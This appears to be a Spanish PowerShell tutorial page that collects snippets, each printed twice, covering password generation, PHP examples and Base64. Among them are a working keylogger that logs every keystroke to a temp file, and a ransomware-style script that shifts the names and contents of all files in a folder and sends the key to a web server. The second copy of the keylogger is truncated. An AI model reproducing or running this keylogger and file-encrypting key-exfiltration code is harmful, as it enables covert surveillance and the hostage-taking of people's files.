Generar contraseñas aleatorias con PowerShell

Add-Type -AssemblyName System.Web
$Longitud = 12
$Caracteres = 3
[System.Web.Security.Membership]::GeneratePassword($Longitud, $Caracteres)

Add-Type -AssemblyName System.Web

$Longitud = 12

$Caracteres = 3

[System.Web.Security.Membership]::GeneratePassword($Longitud, $Caracteres)

Descifrar con un algoritmo sencillo el nombre y el contenido de un fichero de texto

ForEach($fichero in ls .)
{
#Cifrar el contenido del fichero
$cifrado=gc $fichero
$var=1
$textocifrado=(0..($cifrado.Length-1) | % {[char]::ConvertFromUtf32([char]::ConvertToUtf32($cifrado[$_].ToString(),0)-$var)}) -join ""

#Cifrar el nombre y añadir el contenido cifrado
#Quitamos los puntos y otros caracteres para no tener errores a la hora de crear el nuevo fichero cifrado
$ficherosin=$fichero.Name.Replace(".","")
$ficherosin
$ficherocifrado=(0..($ficherosin.Length-1) | % {[char]::ConvertFromUtf32([char]::ConvertToUtf32($ficherosin[$_].ToString(),0)-$var)}) -join ""
$textocifrado | Out-File $ficherocifrado
}

ForEach($fichero in ls .)

{

#Cifrar el contenido del fichero

$cifrado=gc $fichero

$var=1

$textocifrado=(0..($cifrado.Length-1) | % {[char]::ConvertFromUtf32([char]::ConvertToUtf32($cifrado[$_].ToString(),0)-$var)}) -join ""

#Cifrar el nombre y añadir el contenido cifrado

#Quitamos los puntos y otros caracteres para no tener errores a la hora de crear el nuevo fichero cifrado

$ficherosin=$fichero.Name.Replace(".","")

$ficherosin

$ficherocifrado=(0..($ficherosin.Length-1) | % {[char]::ConvertFromUtf32([char]::ConvertToUtf32($ficherosin[$_].ToString(),0)-$var)}) -join ""

$textocifrado | Out-File $ficherocifrado

}

Cifrar con un algoritmo sencillo el nombre y el contenido de un fichero de texto (enviar la clave utilizada en el algoritmo mediante una petición web a un servidor)

#PowerShell
ForEach($fichero in ls .)
{
#Cifrar el contenido del fichero
$cifrado=gc $fichero
$var=1
$textocifrado=(0..($cifrado.Length-1) | % {[char]::ConvertFromUtf32([char]::ConvertToUtf32($cifrado[$_].ToString(),0)+$var)}) -join ""

#Cifrar el nombre y añadir el contenido cifrado
#Quitamos los puntos y otros caracteres para no tener errores a la hora de crear el nuevo fichero cifrado
$ficherosin=$fichero.Name.Replace(".","")
$ficherosin
$ficherocifrado=(0..($ficherosin.Length-1) | % {[char]::ConvertFromUtf32([char]::ConvertToUtf32($ficherosin[$_].ToString(),0)+$var)}) -join ""
$textocifrado | Out-File $ficherocifrado
}

Invoke-WebRequest "http://www.jesusninoc.com/clave/$var"

#PowerShell

ForEach($fichero in ls .)

{

#Cifrar el contenido del fichero

$cifrado=gc $fichero

$var=1

$textocifrado=(0..($cifrado.Length-1) | % {[char]::ConvertFromUtf32([char]::ConvertToUtf32($cifrado[$_].ToString(),0)+$var)}) -join ""

#Cifrar el nombre y añadir el contenido cifrado

#Quitamos los puntos y otros caracteres para no tener errores a la hora de crear el nuevo fichero cifrado

$ficherosin=$fichero.Name.Replace(".","")

$ficherosin

$ficherocifrado=(0..($ficherosin.Length-1) | % {[char]::ConvertFromUtf32([char]::ConvertToUtf32($ficherosin[$_].ToString(),0)+$var)}) -join ""

$textocifrado | Out-File $ficherocifrado

}

Invoke-WebRequest "http://www.jesusninoc.com/clave/$var"

Keylogger sencillo con PowerShell

#Declarar funciones
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
public static extern short GetAsyncKeyState(int virtualKeyCode); 
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@

#Cargar las funciones declaradas
$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru

try
{
    #Bucle infinito para capturar pulsación de teclas
    while(1)
    {
        #Para cada uno de los caracteres ASCII
        for ($ascii = 9; $ascii -le 254; $ascii++)
        {
            #Capturar key state
            $state = $API::GetAsyncKeyState($ascii)
            #Si se ha pulsado una tecla
            if ($state -eq -32767)
            {
                #Traducir el código
                $virtualKey = $API::MapVirtualKey($ascii, 3)
                $kbstate = New-Object Byte[] 256
                $checkkbstate = $API::GetKeyboardState($kbstate)
                $mychar = New-Object -TypeName System.Text.StringBuilder
                if($API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0))
                {
                    #Almacenar la tecla pulsada
                    $value = [System.Text.Encoding]::Unicode.GetBytes($mychar)
                    [System.IO.File]::AppendAllText("$env:temp\keys.txt", $mychar, [System.Text.Encoding]::Unicode)
                }
            }
        }
    }
}
finally
{
    #Abrir el fichero con las teclas pulsadashola
    notepad $env:temp\keys.txt
}

#Declarar funciones

$signatures = @'

[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]

public static extern short GetAsyncKeyState(int virtualKeyCode);

[DllImport("user32.dll", CharSet=CharSet.Auto)]

public static extern int GetKeyboardState(byte[] keystate);

[DllImport("user32.dll", CharSet=CharSet.Auto)]

public static extern int MapVirtualKey(uint uCode, int uMapType);

[DllImport("user32.dll", CharSet=CharSet.Auto)]

public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);

#Cargar las funciones declaradas

$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru

try

{

#Bucle infinito para capturar pulsación de teclas

while(1)

{

#Para cada uno de los caracteres ASCII

for ($ascii = 9; $ascii -le 254; $ascii++)

{

#Capturar key state

$state = $API::GetAsyncKeyState($ascii)

#Si se ha pulsado una tecla

if ($state -eq -32767)

{

#Traducir el código

$virtualKey = $API::MapVirtualKey($ascii, 3)

$kbstate = New-Object Byte[] 256

$checkkbstate = $API::GetKeyboardState($kbstate)

$mychar = New-Object -TypeName System.Text.StringBuilder

if($API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0))

{

#Almacenar la tecla pulsada

$value = [System.Text.Encoding]::Unicode.GetBytes($mychar)

[System.IO.File]::AppendAllText("$env:temp\keys.txt", $mychar, [System.Text.Encoding]::Unicode)

}

finally

{

#Abrir el fichero con las teclas pulsadashola

notepad $env:temp\keys.txt

}

PHP en PowerShell con ejemplos

#Ir a la capeta donde se encuentra PHP
cd C:\xampp\php

###################################################################################################################
#Variables 1: enteros, caracteres y cadenas de caracteres
###################################################################################################################
#Crear tipos de datos: enteros, caracteres y cadenas de caracteres
#Forma 1
'<?php $num = 5;
echo "$num\n";
$car=''c'';
echo "$car\n";
$cad=''$hola'';
echo "$cad\n";?>' | .\php.exe
#Forma 2
'<?php $num = 5;
echo "$num\n";
$car="c";
echo "$car\n";
$cad="hola";
echo "$cad\n";?>' | .\php.exe
#Código en una línea
'<?php $num = 5;echo "$num\n";$car=''c'';echo "$car\n";$cad=''hola'';echo "$cad\n";?>' | .\php.exe
#Almacenar en un fichero codificando en UTF-8
'<?php $num = 5;echo "$num\n";$car=''c'';echo "$car\n";$cad=''hola'';echo "$cad\n";?>' | out-file scriptphp.php -Encoding utf8 | .\php.exe scriptphp.php

#Ir a la capeta donde se encuentra PHP

cd C:\xampp\php

###################################################################################################################

#Variables 1: enteros, caracteres y cadenas de caracteres

###################################################################################################################

#Crear tipos de datos: enteros, caracteres y cadenas de caracteres

#Forma 1

'<?php $num = 5;

echo "$num\n";

$car=''c'';

echo "$car\n";

$cad=''$hola'';

echo "$cad\n";?>' | .\php.exe

#Forma 2

'<?php $num = 5;

echo "$num\n";

$car="c";

echo "$car\n";

$cad="hola";

echo "$cad\n";?>' | .\php.exe

#Código en una línea

'<?php $num = 5;echo "$num\n";$car=''c'';echo "$car\n";$cad=''hola'';echo "$cad\n";?>' | .\php.exe

#Almacenar en un fichero codificando en UTF-8

'<?php $num = 5;echo "$num\n";$car=''c'';echo "$car\n";$cad=''hola'';echo "$cad\n";?>' | out-file scriptphp.php -Encoding utf8 | .\php.exe scriptphp.php

#Ir a la capeta donde se encuentra PHP
cd C:\xampp\php

###################################################################################################################
#Variables 2: concatenar, extraer elementos y medir la longitud de un array
###################################################################################################################
#Concatenar una cadena
'<?php $palabra1 = "hola";
$palabra2 = "adios"; 
echo $palabra1 ." " . $palabra2;?>' | .\php.exe
#Código en una línea
'<?php $palabra1 = "hola"; $palabra2 = "adios"; echo $palabra1 ." " . $palabra2;?>' | .\php.exe

#Extraer elementos de una cadena
'<?php $hola="Hola Mundo"; echo $hola[0]; ?>' | .\php.exe
'<?php $hola="Hola Mundo"; echo $hola[1]; ?>' | .\php.exe

#Medir la longitud de un array
'<?php $hola="Hola Mundo"; echo strlen($hola); ?>' | .\php.exe

#Número de palabras en un array
'<?php $hola="Hola Mundo"; echo str_word_count($hola); ?>' | .\php.exe

#Ir a la capeta donde se encuentra PHP

cd C:\xampp\php

###################################################################################################################

#Variables 2: concatenar, extraer elementos y medir la longitud de un array

###################################################################################################################

#Concatenar una cadena

'<?php $palabra1 = "hola";

$palabra2 = "adios";

echo $palabra1 ." " . $palabra2;?>' | .\php.exe

#Código en una línea

'<?php $palabra1 = "hola"; $palabra2 = "adios"; echo $palabra1 ." " . $palabra2;?>' | .\php.exe

#Extraer elementos de una cadena

'<?php $hola="Hola Mundo"; echo $hola[0]; ?>' | .\php.exe

'<?php $hola="Hola Mundo"; echo $hola[1]; ?>' | .\php.exe

#Medir la longitud de un array

'<?php $hola="Hola Mundo"; echo strlen($hola); ?>' | .\php.exe

#Número de palabras en un array

'<?php $hola="Hola Mundo"; echo str_word_count($hola); ?>' | .\php.exe

Tabla de caracteres Base64

#Array que va a contener todos los caracteres en Base64
$arrayBase64=""
#Añadir al array las mayúsculas
$arrayBase64+=[char]'A'..[char]'Z' | %{[char]$_}
#Añadir al array las minúsculas
$arrayBase64+=[char]'a'..[char]'z' | %{[char]$_}
#Añadir al array los números
$arrayBase64+=[char]'0'..[char]'9' | %{[char]$_}
#Añadir al array el carácter + y /
$arrayBase64+="+"
$arrayBase64+="/"
#Quitar los espacios del array
$arrayBase64=$arrayBase64-replace " "
#Mostrar los caracteres
$arrayBase64
#Número de caracteres en Base64
$arrayBase64.Length
#Primer carácter
$arrayBase64[0]
#Último carácter
$arrayBase64[$arrayBase64.Length-1]

#Array que va a contener todos los caracteres en Base64

$arrayBase64=""

#Añadir al array las mayúsculas

$arrayBase64+=[char]'A'..[char]'Z' | %{[char]$_}

#Añadir al array las minúsculas

$arrayBase64+=[char]'a'..[char]'z' | %{[char]$_}

#Añadir al array los números

$arrayBase64+=[char]'0'..[char]'9' | %{[char]$_}

#Añadir al array el carácter + y /

$arrayBase64+="+"

$arrayBase64+="/"

#Quitar los espacios del array

$arrayBase64=$arrayBase64-replace " "

#Mostrar los caracteres

$arrayBase64

#Número de caracteres en Base64

$arrayBase64.Length

#Primer carácter

$arrayBase64[0]

#Último carácter

$arrayBase64[$arrayBase64.Length-1]

Eliminar caracteres que no sean alfabéticos y conservar los caracteres que tengan acentos

$cadena = 'áéíóúabcdefg12345HIJKLMNOP!@#$%qrs)(*&^TUVWXyz'
$patron = '[^a-zA-Zá-úÁ-Ú]'
$cadena -replace $patron, ''

$cadena = 'áéíóúabcdefg12345HIJKLMNOP!@#$%qrs)(*&^TUVWXyz'

$patron = '[^a-zA-Zá-úÁ-Ú]'

$cadena -replace $patron, ''

Cifrar con un algoritmo sencillo el nombre y el contenido de un fichero de texto

ForEach($fichero in ls .)
{
#Cifrar el contenido del fichero
$cifrado=gc $fichero
$var=1
$textocifrado=(0..($cifrado.Length-1) | % {[char]::ConvertFromUtf32([char]::ConvertToUtf32($cifrado[$_].ToString(),0)+$var)}) -join ""

#Cifrar el nombre y añadir el contenido cifrado
#Quitamos los puntos y otros caracteres para no tener errores a la hora de crear el nuevo fichero cifrado
$ficherosin=$fichero.Name.Replace(".","")
$ficherosin
$ficherocifrado=(0..($ficherosin.Length-1) | % {[char]::ConvertFromUtf32([char]::ConvertToUtf32($ficherosin[$_].ToString(),0)+$var)}) -join ""
$textocifrado | Out-File $ficherocifrado
}

ForEach($fichero in ls .)

{

#Cifrar el contenido del fichero

$cifrado=gc $fichero

$var=1

$textocifrado=(0..($cifrado.Length-1) | % {[char]::ConvertFromUtf32([char]::ConvertToUtf32($cifrado[$_].ToString(),0)+$var)}) -join ""

#Cifrar el nombre y añadir el contenido cifrado

#Quitamos los puntos y otros caracteres para no tener errores a la hora de crear el nuevo fichero cifrado

$ficherosin=$fichero.Name.Replace(".","")

$ficherosin

$ficherocifrado=(0..($ficherosin.Length-1) | % {[char]::ConvertFromUtf32([char]::ConvertToUtf32($ficherosin[$_].ToString(),0)+$var)}) -join ""

$textocifrado | Out-File $ficherocifrado

}